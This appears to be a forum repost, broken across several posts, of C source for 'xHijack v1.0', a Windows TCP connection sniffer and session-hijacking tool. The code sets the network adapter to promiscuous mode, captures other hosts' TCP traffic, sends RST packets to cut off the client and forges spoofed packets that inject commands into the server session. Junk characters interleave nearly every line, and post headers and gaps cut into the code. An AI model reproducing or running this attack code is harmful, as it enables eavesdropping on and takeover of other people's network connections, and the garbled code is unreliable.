5 g7 R9 M' M8 {
//
9 d* k( Q) _+ H# U
LPADAPTER InitAdapter()
! I; y% h8 ]2 t$ ?
{
' g' x7 K6 T; Q0 j0 z. e
LPADAPTER lpAdapter;
3 C1 r1 T/ Z% {+ Z7 |% h* ?0 }6 `* ^
static char AdapterList[Max_Num_Adapter][1024];
8 r$ K f% k. ^7 h: S/ b5 A
char szSelectAdapterName[512];
9 i4 X0 E' U" ^8 h
WCHAR AdapterName[2048];
. C+ B1 l2 h5 z# {
WCHAR *temp,*temp1;
, L% b9 V# H- T3 T# B" I
ULONG AdapterLength = 1024;
) z9 c( d1 ^/ _) y
int iAdapterNum = 0;
3 u$ P8 ^, G" H, x0 N
int iRetCode, i;
8 v( \' l8 j1 w/ J5 t
int iAdapter = 0;
0 P: j+ R( K' l; P; D1 F/ B Y( F
ULONG ulLen = 0;
6 j7 N) |% L: N* I
DWORD dwRet;
d' ]4 l; n' v+ N. `
PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp;
3 ~! {9 C4 ?' I! W5 Y8 k
PIP_ADDR_STRING pIPAddr;
3 [# x! j* W4 n% a3 _6 n- H9 E
y. v' F n( I) F G
//Get The list of Adapter
# f3 h# A+ c& ~2 F; A) F
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
0 ^" B* r% ] t9 Y, f/ f9 D
{
+ M& S, H- ]1 p0 M8 t0 E. ?1 ?2 t
printf("Unable to retrieve the list of the adapters!\n");
) [6 v; Z% z( Z* [4 a a, j
return 0;
2 }. s, T! e6 L P* g. f' t
}
# g* H' D& e$ w9 C; }' S9 }3 T
temp = temp1 = AdapterName;
2 P9 |# ?+ V. c* z# o; T/ y
i = 0;
% c4 p$ V, {) S
while ((*temp != '\0')||(*(temp-1) != '\0'))
7 f) ?2 v3 h9 }. N4 a, H
{
! f6 H, C6 i m0 H& ^
if (*temp == '\0')
! G- B; l) a J( _: ~1 b
{
0 ?" N! r$ |( V5 m) G+ B# ]
memcpy(AdapterList
,temp1,(temp-temp1)*2);
g6 B- J$ r7 x/ S0 B K }9 U! B* H
printf("%d - %S\n", i+1, AdapterList
);
7 R' m x# Q# N a8 i$ @9 `2 U
temp1=temp+1;
2 I! y' Q. @9 i; z6 X1 W
i++;
; N2 P) M8 S8 X: a2 W
}
0 S% M4 M5 d& ]
temp++;
4 D i+ r$ W9 p+ X3 J& A" T9 o
}
' X+ F H' T7 j0 [0 i1 Y
//choose adapter
& e) h* G' E* s1 s
while((iAdapter <= 0) || (iAdapter > i))
) n b' B% }/ p! b( t, N$ B' ]
{
* R- e v- E* o/ S3 Z t: N
printf("\nPlease choose your Adapter:");
8 ?* B; S% v& M( c( X, d
scanf("%1d", &iAdapter);
7 g/ a! \# W% w! U3 o) v; T
}
% p, ]% I# [& O! X5 j! ~
printf("\n");
4 c7 I6 `* W' N8 J* k* C/ w# L
//---------------------------------------------//
/ Y6 v: ^2 V8 J2 P8 u3 _& f
//这里调用iphlpapi来取得本地ip_addr和mac_addr
5 f6 r. U5 o$ h$ y" j
sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1);
0 o1 \6 F1 F" Z& U) A
dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen);
9 q+ \, @7 h: W
if(dwRet != ERROR_BUFFER_OVERFLOW)
& d" N. l' v: z8 |
{
$ ^. B5 G4 t9 C8 ~8 n3 N4 t/ B
printf("GetAdapterInfo error:%d\n", GetLastError());
* T+ ^3 C4 o' j% u$ Y5 i
return 0;
' O0 a; g4 c; r9 r- o
}
* |9 Q, j) |, u) S" Y7 l' h
pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen);
0 i2 {1 l* Q* Q7 q* a! B1 m
if(!pAdapterInfo)
# `' I" Z7 U) d* o3 X0 p) v$ A
{
+ r& H' w0 o$ P" M/ G( ]
printf("malloc memory for pAdapterInfo error:%d\n", GetLastError());
* Z# J7 _! ]; b/ ~
return 0;
6 v0 q1 E+ @! v# L
}
/ O, O8 B/ b5 h
dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen);
1 v; c4 D) K u% y- `. G
if(dwRet != ERROR_SUCCESS)
# g3 r. O5 }0 J u% D
{
$ n6 g$ R; e& Q& d3 e# Z
printf("GetAdapterInfo error:%d\n", GetLastError());
7 H) t! \ o1 b, w7 u; I
return 0;
, L4 g0 p& p0 r# t3 [2 R
}
" r) e' m Y$ \! K) t1 V
pTmp = pAdapterInfo;
5 J$ r. L7 b7 B( B E: _
while(pTmp)
) @# n' l+ w" C( l; L
{
* e. v* k, c! g0 B: e8 M
//字符匹配
作者:
韩冰
时间:
2004-11-21 01:46
if(strstr(szSelectAdapterName, pTmp->AdapterName))
8 _ ^' H. `6 r- e9 E3 R
{
8 c- y2 M: f2 k! C# A! Z0 }
//found it,get own adapter mac address
$ i* t! b) E- x& J' [0 u/ ?$ z
memcpy(g_szOwnMAC, pTmp->Address, 6);
) ? }6 T, G% F3 s
//get ip address
, U, B; f4 s% i5 ?/ k* m
pIPAddr = &pTmp->IpAddressList;
4 L4 C* d+ b2 M' v( J
while(pIPAddr)
. {! M7 C( M7 D; T q" q
{
# n* }+ H- Q0 R& @
g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress);
" W/ P% @9 b \5 m% W3 }$ G
pIPAddr = pIPAddr->Next;
8 t: Y* t* A0 s0 r% l3 `
if(g_TotalIP >= Max_Num_IPAddr) break;
% n! _4 D+ F# q0 J! `
}
+ }" u; J6 C+ |' n
break;
: ]: P8 Y) I/ Y) O$ C
}
! l7 K, H" E; T
pTmp = pTmp->Next;
1 f8 R1 P+ J) k1 X
}
S0 o. v) g% [/ l; R! ?
free(pAdapterInfo);
* l) `7 u( t/ i/ o7 I" \( U. O- G W
//not found,return zero
; B5 b" v; _ f5 n% h& N
if( (!pTmp) || (!g_TotalIP) ) return 0;
( s0 [4 e% e* T& F3 d
//---------------------------------------------//
" q1 C9 s' I8 t" D
//open adapter
9 S1 _: n0 d2 j) x+ \4 q( q
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]);
' |( h/ n' L$ _7 Z
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
+ S) }* V0 {# J
{
1 w6 I2 @- y6 t; K- B9 F
iRetCode = GetLastError();
t" }0 \& Y) d3 H+ y. g# q
printf("Unable to open the driver, Error Code : %lx\n", iRetCode);
' s9 U, |' \# G* M3 F) I# p4 o$ J
return 0;
5 q# Z( g# u- ~+ {* T" c- G6 N
}
- m2 j* L4 }% w/ Y" [. L0 l: @2 C' C
// set the network adapter in promiscuous mod
. X% i5 z& d v1 K
if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE)
- ~) U. i% C1 E4 v* H5 H/ D( Y
{
" o/ `: J! f( v
printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n");
6 j. }! H+ m8 c8 m
if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE)
9 C: A# O0 C" v- X
{
2 E* @+ M, T4 ?* K9 T! R
printf("Unable to set ALL_LOCAL mode!\n");
. Q' a1 E u' x: m- o. h
return 0;
" M# Y: n6 d" N ^& X
}
/ b9 |# _) _5 Q! f% R0 Y
}
0 _4 |8 }' ?9 p; u0 q# w
// set a 512K buffer in the driver
2 m- x- k Z1 z& h4 O, j @7 X
if(PacketSetBuff(lpAdapter, 512000) == FALSE)
9 E& i3 `. a+ c$ a! i9 K) a7 w
{
! J. h% j F7 K! m
printf("Unable to set the kernel buffer!\n");
7 g% m; c9 V5 m; ~
return 0;
0 i6 u D- L2 L
}
2 Y: r' k% ~+ E/ ]+ L
// set a 1 second read timeout
: e1 I( U4 V, Q/ e
if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE)
7 H; X# c' _+ S$ l' m
printf("Warning: unable to set the read tiemout!\n");
* O& ^* r) s6 i7 f. D5 q6 F0 f8 `
if(PacketSetNumWrites(lpAdapter, 1) == FALSE)
8 F, Z7 S, W3 p3 Z9 `
printf("warning: Unable to send more than one packet in a single write!\n");
# i; E1 J( E/ A1 R% i; z
//设置发送的packet
; z% w. w8 i u6 Z3 x, l |; o
g_lpSendPacket = PacketAllocatePacket();
- F) O' @, [# L8 f$ {8 |
if(g_lpSendPacket == NULL)
+ o+ X- j5 Q7 O, X* z2 o' Y, ~
{
+ o5 T' C8 N. \' H2 ^5 x0 x9 ~" J
printf("Error:failed to allocate the LPPACKET structure for send packet.\n");
; C- R* Z7 E# l! |8 d/ h1 w. O+ Y
return 0;
! S3 w' n- }+ _ @3 x8 T
}
6 k5 Z7 g7 k3 n% ?2 q
ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf));
1 F, R! J! I( j; x' ?* }1 l
PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514);
. A3 J' m$ e i$ t0 K+ m
return lpAdapter;
8 l0 \+ M2 I: Y/ j: O/ u/ K
}
7 |, i) C* Z* S' K- Z. _
/ W1 F7 i& z" y$ ]2 _
//功能:帮助信息
3 T9 E. l+ L. f! b# a
void usage()
& f# X8 {: w. V1 q$ T
{
) m5 {3 R2 w; e' o2 S! [, N: g* Y
printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n"
4 |4 t3 v: x9 ?% V8 |* s/ h
"By eyas 2002/8/19\n"
6 g7 c* q2 z2 F. E
"http://www.ey4s.org\n"
/ e, d2 |4 _( ?( q5 ]
"Thanks to Refd0m and shotgun\n\n"
# j$ [ E/ h# |6 Z2 U( C& i- `
"Usage: xHijack ServerSide ClientSide\n\n");
4 }! b: s0 i! @+ P* g& p! p1 }
}
W7 T9 F. c* z- V
" p' E6 B) a" e; W' t6 F
//
% ~. X1 T( p9 ~. ^
//功能:显示数据包的一些详细信息
/ @* X0 _& g: y) ?( O+ q+ L
//
' K# f7 K+ O( e0 h' f% a
VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail)
/ b% n: [- o$ t6 O) U* e
{
$ r& D0 p$ h2 f1 C
SOCKADDR_IN saDest, saSrc;
/ n( q3 a& B/ E n O' h/ r, O1 `
unsigned char FlagMask;
4 `6 S* X8 @( o( M5 u5 t
int i;
4 Z7 l2 `' _+ X" d/ E$ g
7 Y- K) e5 N. c0 F8 T
saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP;
. ^: g9 e4 q8 i) \5 F" U
saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP;
" F6 T1 `# i9 E
printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport));
: M2 p8 S7 O# `( e" q$ N4 u
printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr),
- @! E0 q2 z) q6 R; f( g# x
ntohs(pTCPPacket->tcphdr.th_dport), usDataLen);
2 ]0 @4 D; h3 u/ `
//display TCP flag
# @3 k$ _* |8 g
for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1)
) x1 n2 M9 V# A) C% Y
{
- ~3 c/ i6 {9 {
if((pTCPPacket->tcphdr.th_flag) & FlagMask)
; X2 S+ D' E9 b( ?4 ]
printf("%c", g_szTcpFlag
);
; K5 P0 f3 v* q
else printf("-");
- g$ }" |" t0 }' E" p/ B
}
$ m' H8 D" E. H
printf("\n");
* R F! u# ~# k/ E# v
//如有需要,可显示更多详细的信息
+ c6 q8 K4 }" A0 S7 A# w/ ]' J% }
if(bDetail)
' d' p( v# O1 V; _* K3 Q3 B" @0 l
printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack));
( s/ g- f6 R7 u& |
}
) L) @% G5 z+ i
8 ^4 P! G! i5 p" I$ }7 O+ {
//
O: B) s/ N( `3 F8 p
//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能
: g6 H- p; ?- @! n+ s d2 f" c+ L
//
( h# Q' F9 ~' W8 A( ~
DWORD WINAPI AnalysePacketsThread(LPVOID lp)
0 }- i8 P1 Q5 a/ S! |, T7 m n- K( i2 M
{
4 {. W% @" q1 m8 L# E
ULONG ulBytesReceived;
8 i6 `+ ]$ Y9 s7 G( H; c
USHORT usDataLen;
; L8 @- }/ ]# f
//USHORT usIPHeadLen, usTCPHeadLen;
+ d! S" F7 ?- m5 b% Z
char *buf;
3 }# `! C& x6 q7 C' c
u_int off, i;
) m3 p5 W1 v3 u! _
PTCPPACKET pTCPPacket;
v! @9 S) N9 o9 q( U( u0 M& w
struct bpf_hdr *hdr;
0 ~ K; D1 T4 q$ [& x- G/ h
LPPACKET lpRecvPacket;
$ @' W& D5 `( B# R) M6 E
char szPacketBuf[256000], *pStr;
6 t! A2 |4 M% Z, p* V6 E; W
BOOL bDeleteNode, bAddNew;
+ W9 S/ P" x) l ?: f4 E( E0 |8 Z
DWORD ident;//当前所处理的数据包,所属的连接的唯一标识
, |8 L; n- J) O! {
BOOL bClientToServer;//数据包是否从客户端发送到服务器端
" d- t. j/ |+ B
5 n5 K% J6 L" ^$ X
//设置接收的packet
. w/ [: @, u3 ?$ J) g
lpRecvPacket = PacketAllocatePacket();
- T, z! k$ E) ^; u# q
if(lpRecvPacket == NULL)
% Q* w# u8 j' J2 _
{
) L. Z/ M7 h. e8 B. C
printf("Error:failed to allocate the LPPACKET structure for recv.\n");
1 s! f G5 F. r3 f( ~# W8 L
return 0;
& }8 b0 l/ v8 w8 [- [5 }
}
8 x# \5 a5 y! N6 v5 Q; U+ D
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
: w, @2 O( p% H* m! ~; b) O
PacketInitPacket(lpRecvPacket, szPacketBuf, 256000);
$ z% G& t5 O& K% w6 s
while(1)
- H2 Z8 b9 A8 N$ e+ ~5 G' m i7 s& \
{
1 U- W( k7 }0 z. {- U
// capture the packets
, Y7 X6 l9 c4 z$ N t/ j
if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE)
9 r1 J! G& \: M$ ^
{
; I5 A( R# i. y' B! f# {& `
printf("Error: PacketReceivePacket failed.\n");
' d8 C2 y: }8 j4 T2 x* o- T; x
break;
9 f2 C" M p' a& r9 R; v6 H
}
/ h$ l8 p- H' n7 @" y
ulBytesReceived = lpRecvPacket->ulBytesReceived;
/ J* B( c& f- T$ E4 v& v' v* d( G
buf = lpRecvPacket->Buffer;
( c3 Y; N" |# Z- b7 h: _) Z( ]
off = 0;
) T# q+ t3 C! g0 G" g
while(off < ulBytesReceived)
# K$ g' j9 X& a3 V1 H# u/ u
{
# Y# `' x% [3 j$ G
hdr = (struct bpf_hdr *)(buf + off);
& H% Y: c4 E" r% z1 L' L6 h: y
off += hdr->bh_hdrlen;
2 U& @& \: c# G4 E
pTCPPacket = (PTCPPACKET)(buf + off);
3 P5 n9 F+ S q0 N1 q# B/ M0 v' v- V
off = Packet_WORDALIGN(off + hdr->bh_caplen);
, t- q) \ L, T4 N, ^
//不需要处理自己发出的包(转发或本机发送的)
: s" O6 ]9 k& ]) J4 I& |7 f
if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue;
+ V6 {" i' k: D
//检查是否IP包
' J0 E% ~: _% L% z' V
if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue;
# C# C% g! \% a+ f, j- W
//检查是否TCP包
' z2 _& g7 A% V
if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue;
( `- Q0 H2 }2 i0 y6 ]
//也不处理DestIP是自己的包
# f' @' n% ~7 m0 B% ]- M2 ^
for(i=0; i
作者:
韩冰
时间:
2004-11-21 01:47
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
6 \ b8 {) p. i A+ Z/ T; H6 Q
//reset action flag
* T' P& q- I: F7 R% \
ResetActionAllFlag();
% f- Z, U5 p7 z1 i% @1 A @
}
4 B0 e! d4 a* L6 O- s* Q
//start hijack
`2 e7 ]. U0 g- U- z, ~
else if(g_dwAction == ACTION_HIJACK)
9 j. y6 p0 _ w6 O% H1 ]! Z
{
# R$ O1 o* W! N4 d) N
//send rst packet to client
8 n3 O6 Z2 m9 j' @8 z% {$ V
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
! R! I! {* ^! a& x; o3 W! Z9 S
//send hijack packet to client
0 e: s: c2 H- u' R; d, B
SendHiJackPacket(pTCPPacket);
' w1 N' i3 G; \% R
//reset action flag
& d3 a7 j1 E2 W& L3 y+ Y$ N
ResetActionAllFlag();
5 w! G$ Q- s2 R* u: p+ i% X
}
& u5 y. f: b$ f: h2 F% Q
}
8 }, H1 g3 I' @' D, `/ S
//show the tcp data
5 c! E/ {; v+ t# o
if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
: Z( s! P0 q: t9 F! g/ ~- T
{
9 Z; n- y5 N) x. z J
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
- B a( l7 M0 F1 n. `- e0 F8 r
//暂不考虑IP、TCP头不是20字节的情况
( ]; }6 F+ Y) _" }
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
- G2 j0 \8 L! @1 _) ~" [* W2 Q
pStr = (char *)pTCPPacket + 54;
: O' K* I6 D% t. {' K; `9 H
for(i=0; i }
W2 J6 L9 U5 k
}
* _% ]! J' K4 h5 j
//debug output
: K, h; _% v7 y
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
: f$ R( X, n3 c
}//end of analyse packets while
; J" b) C0 Z$ o H5 W# {( j
}//end of recv packets while
( C5 U4 I& K r0 G; j
PacketFreePacket(lpRecvPacket);
+ m5 l6 n. y) z7 J- }+ V. H
return 0;
' ]* F4 G: o+ k- W! a, \+ j
}
9 r M# c/ i9 G) x
a0 ?2 s6 Y% U3 X& K( K# Y
& N6 Z3 q- o& m8 R6 p
//
' g3 D. R$ l5 _, u3 Y/ I7 n
//功能:操作记录所有连接信息的单向链表
2 y4 G3 p8 P( S$ K" |9 ^; N9 p' C
//
- r5 N4 D+ ~) B$ d( s0 L4 T
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
. j/ V6 a- q( G. k
USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
6 B# Z3 S/ O9 O5 E- j( x4 w' g# `
{
$ Y8 [' |( t2 [
PCONNINFO pNew, pTmp;
9 W) h( C0 U8 |; Q) o
* y6 x# q8 R- B& e0 Y
pTmp = g_pConnHead;
, x0 |0 R4 h$ p. f% ~
while(pTmp)
8 p$ V7 B6 g$ t# I5 V6 F
{
" Y( S7 I$ T# ]7 S8 d0 Y- Y
if(pTmp->bActive)
8 X* R: y8 c6 j* {* S6 l
{
: o6 l' ?4 F3 H: E; J9 e7 D
//found it
- n" v- M4 }& X% Q" f& n4 R
if( (pTmp->dwServerIP == dwServerIP) &&
* L0 a& ^( J. K9 \+ {# I$ r& F2 l
(pTmp->uServerPort == uServerPort) &&
; z+ j/ i/ b- T+ m$ ]
(pTmp->dwClientIP == dwClientIP) &&
7 k" ~0 _+ q0 C4 c( Z& P
(pTmp->uClientPort == uClientPort) )
. S/ c/ Y: o, J" Z
{
' h: E1 x! e' K, o
if(bDelete)
" y' p+ Y8 l, |( Y
{
- c0 \. I! w: C9 b
pTmp->bActive = FALSE;
R: h; s0 v# ]6 \
return 0;
- O" t/ e% ~" H5 F2 U0 ^0 i! Q
}
* z% w) I. X* l* }& e2 R
else return pTmp->ident;
/ _) G+ ?% T7 f- y i' L
}
4 ^6 K; ^, m. v- {+ y( C
}
9 L& }! F( \9 Q# ~
pTmp = pTmp->Next;
9 U7 S. E6 x5 q3 ?: R: x; z
}
5 Z+ c( W; `. p# c
//not found, create new node
) U5 K/ r) k% }% ]7 y
if( (!pTmp) && (!bDelete) && (bAddNew) )
4 `% o/ m" f2 ~# T2 S
{
+ [3 D/ N6 v% h/ Y; \9 V: w
//search unactive note
; c7 f+ Q9 u, |2 e
pTmp = g_pConnHead;
* x7 d1 \# L1 m. g. y
while(pTmp)
+ w) \& K4 M& E. v$ V0 D, U' M
{
# |1 l2 j4 A! u8 M: f
if(!pTmp->bActive) break;
1 X5 E' n! l# v
pTmp = pTmp->Next;
, D$ }, f) u* e& Y5 N8 n
}
i" i8 o# j$ ]/ Y' H. h
//found a unactive node
0 k4 d; u* Y3 D$ P' y( c. v% E4 a: H
if(pTmp)
9 G( k6 p8 x% o
{
$ C3 ?9 J: A! k z4 \3 _
pTmp->dwServerIP = dwServerIP;
5 q1 Y1 U I* ]
pTmp->uServerPort = uServerPort;
: z$ P% F) V. l! A$ Q& X% l8 `
pTmp->dwClientIP = dwClientIP;
! I* E! E9 I( b& D) B% ]7 r
pTmp->uClientPort = uClientPort;
; l7 v: h$ }6 H( F( h" R
pTmp->bActive = TRUE;
* I# s$ |) B- H! O; Y4 g7 D/ T- q
return pTmp->ident;
" {, j( G. L/ M! _: P I1 b
}
6 t y& l9 h4 Q$ L3 _& n
//not found,create new node
3 x' P) J% G4 j3 Y7 ^7 |9 i
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
" _! N8 t) L; D
if(!pNew)
) e' H, Y( T) ^8 I/ S5 X
{
/ [5 W- m( @# F1 F: z) l* i( _
printf("malloc for link node error:%d\n", GetLastError());
, k3 f# B- m- _5 `
return 0;
+ E2 ^6 Z0 _% w. _# H; t t; y
}
: P4 Z1 d. T+ Q
//fill the struct
' [! L% S L0 s* P4 j
pNew->bActive = TRUE;
' o* K2 }& i6 D2 q% a7 a+ Q# }
pNew->dwServerIP = dwServerIP;
I0 j7 c( ^! w- r+ ^- B6 Q
pNew->uServerPort = uServerPort;
s' I- J2 t! i
pNew->dwClientIP = dwClientIP;
: L/ [' U" Z B6 R" w; j# C/ r
pNew->uClientPort = uClientPort;
* k: U- a3 }. [3 u6 i# Y0 x
pNew->ident = ++g_ident;
) [. m4 E) r. A/ W X: f
pNew->Next = NULL;
0 h$ o, j3 o$ P- M V, B
//add new node to link
- @3 s# P' _( @# x
if(!g_pConnHead)
% h- I$ {& u" v$ q) q* n- _ d
g_pConnHead = g_pConnLast = pNew;
?. V& `* l* x) K }
else
& z7 l* J o5 p
{
! w- u7 C& y" h2 e8 `
g_pConnLast->Next = pNew;
I* T( z0 n$ ?
g_pConnLast = pNew;
9 H. W W) ^+ n" ^ z0 T
}
2 j% e4 [7 o8 O
return pNew->ident;
( Y! h2 G0 V, Z8 b; I- d2 ~ G% o
}
- C7 w4 b% u" `9 n2 A- ?+ @
return 0;
: @3 y/ Y3 U/ l1 w0 g% Z
}
+ i- Y; D5 p# P- Z6 x
- P3 q5 P& I5 v" u
//
3 M& P6 j' H# `4 J: P* u
//功能:判断一个数据包是不是只有ACK标志
M1 M& z/ l* v& q. L
//
% |) I6 h" K5 I! b! k
BOOL IsACKPacket(unsigned char flag)
! @7 _& n( w( U5 C7 _
{
8 _% F# i& x2 i: n. S c
int i, j=1;
# K. ]9 C) _& {6 A. Z; F( |5 s: w
for(i=0 ; i<4; i++)
8 N* ~$ b$ l! t6 S8 j
{
: i0 C1 Z3 u3 p r+ o
if(flag & j) return FALSE;
0 `+ E1 p9 |, B4 Z
j <<= 1;
9 J5 m: R5 i8 p) f2 C: ~
}
( y& O U/ v: a/ I: N2 e( Y. n" \
if(!(flag & 0x10)) return FALSE;//is ack?
" M0 ]' }8 C2 U5 h2 k
if(flag & 0x20) return FALSE;
- \5 n" {" f v& {8 p% U. L n
return TRUE;
( e) e, K/ u( k! x4 h0 X$ ?
}
$ k- l+ j& Y3 f7 p5 ]
4 |" k6 ~7 Y# G, t* N
//
3 c+ m @- l# k; S
//功能:伪装成Client给Server发送数据包
3 W0 G/ H. a8 \2 v" ~2 c
//
/ S) D, k& t' y% a
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
- k: p1 x* i4 Q% N
{
4 K. Z+ O. ?! @3 h- v
0 l" U3 M( E1 ~( E0 q* c3 I" V
char szBuff[1520];
1 j. @* X6 m# B3 _ q4 V/ }
PSDHDR psdhdr;
8 D# k: F, A. T+ r4 \
PTCPPACKET pHiJackPacket = NULL;
0 y' h, v2 L4 X& r s [, P
BOOL bRet = FALSE;
1 I: i+ `- b0 o2 z5 M
" t3 a Q W" p/ W' n' w
__try
* ]8 G& y' B4 m
{
% g2 S. z6 X5 {
//
4 t. Y T3 l0 D9 W6 K) [( r
if(!g_pCurrCtrlConn) __leave;
- Y7 R0 {7 r6 U( v! Y
//allocate memory for hijack packet
" j$ G# Y- J- t6 B9 ^$ S
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
# X! i& ]3 H t7 u2 F. n6 S2 K
if(!pHiJackPacket)
8 ?+ l4 e: y8 W5 ~( ~
{
4 t+ j, d6 d8 c# @$ o
printf("malloc error:%d\n", GetLastError());
! O4 @5 E6 d+ f y7 f" D3 q/ r- b
__leave;
+ E* j. m4 y7 p
}
7 V' U( u% x; n0 a5 l
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
! y* K2 T s& r, }1 [' i3 J) w
//-------------- modify the packet ---------------//
7 X" k3 P) D( r: u0 a8 e
//modify ethernet head
7 u! p/ O/ C) c4 U, H
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
& T# S4 a9 r$ t7 P7 N. L, E
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
/ r1 a9 a$ b3 S# l& d( O$ m/ ?/ W
//modify ip head
* C# e, a( _# {
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
( E- ] K" @, U, i5 H
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
. R: `3 w! o8 M8 ^4 Q
pHiJackPacket->iphdr.ident += 1;//标识加1
& C! L! Y) I2 `
pHiJackPacket->iphdr.checksum = 0;
J0 b7 r9 d4 R9 } h! N
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
3 k& V0 E# q- u0 } ~
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
B4 t1 J7 f3 B4 W
//modify tcp head
, w$ n4 ~! ~7 r/ F5 N" `% t6 H
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
7 p0 e$ D+ P- ^+ V9 ^6 @1 J7 M# U
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
& u7 B# X3 b' i' H s6 D, f
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
2 c4 G1 }- ]6 L- j) E
pHiJackPacket->tcphdr.th_flag = 0x18;// PA
- z1 t* H# P! E7 ^( K3 @% ^; X6 h# O2 V
pHiJackPacket->tcphdr.th_sum = 0;
. C. ~, L( x& t% s7 p
pHiJackPacket->tcphdr.th_win = 0x3F44;
- Y# O' [) c. Y; f
//fill tcp psd head
: \5 ~$ q) c; k o
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
) @; c, c# Y' P& `' L! N
psdhdr.daddr = pHiJackPacket->iphdr.destIP;
1 L$ g( L" V+ D0 q6 T h
psdhdr.mbz = 0;
1 L. u' M8 q* }# v) t
psdhdr.ptcl = IPPROTO_TCP;
7 M, H' Q# M$ {
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
/ ?4 u4 _1 q9 I
//calculate tcp checksum
, p0 `* u& I. ^. {3 X' z
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
; D( k V; ^/ O9 O, }. ]- H0 ?) s* ^
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
+ a2 T; M7 m! |3 a. ~# G9 Y
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
' G; V0 f# G/ L% u- U7 S4 G: r
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
7 ~3 k; |: f* r5 \
//calculate IP checksum
* F v% D8 x/ s% j
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
2 E- F& ^, l# N* M. f6 w# F, Z
//fill send buffer
% x0 O5 ?$ V O+ V" l- O: M
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
% u3 x9 ]' J3 k* S
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
; z$ T) K0 j3 l# s0 l7 U3 n
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
1 ~+ U. g, c: _) x: U% P, F/ H
memset(g_lpSendPacket->Buffer, 0, 1514);
& G9 w0 q9 C8 M+ W4 I. x. n
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
5 b$ \4 q& O5 a* Y2 n. O9 Y8 m
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
. t( @* v6 @' I$ F% z- t0 _7 O
{
8 H) l1 i- l. ?
printf("Error sending the hijack packets!\n");
9 X$ m# c1 @$ k* t; h# V
__leave;
; Z$ C/ g- N8 _2 V& Y9 N( K
}
" p8 b% H/ W7 G* b9 t
else printf("Send hijack packet ok!\n");
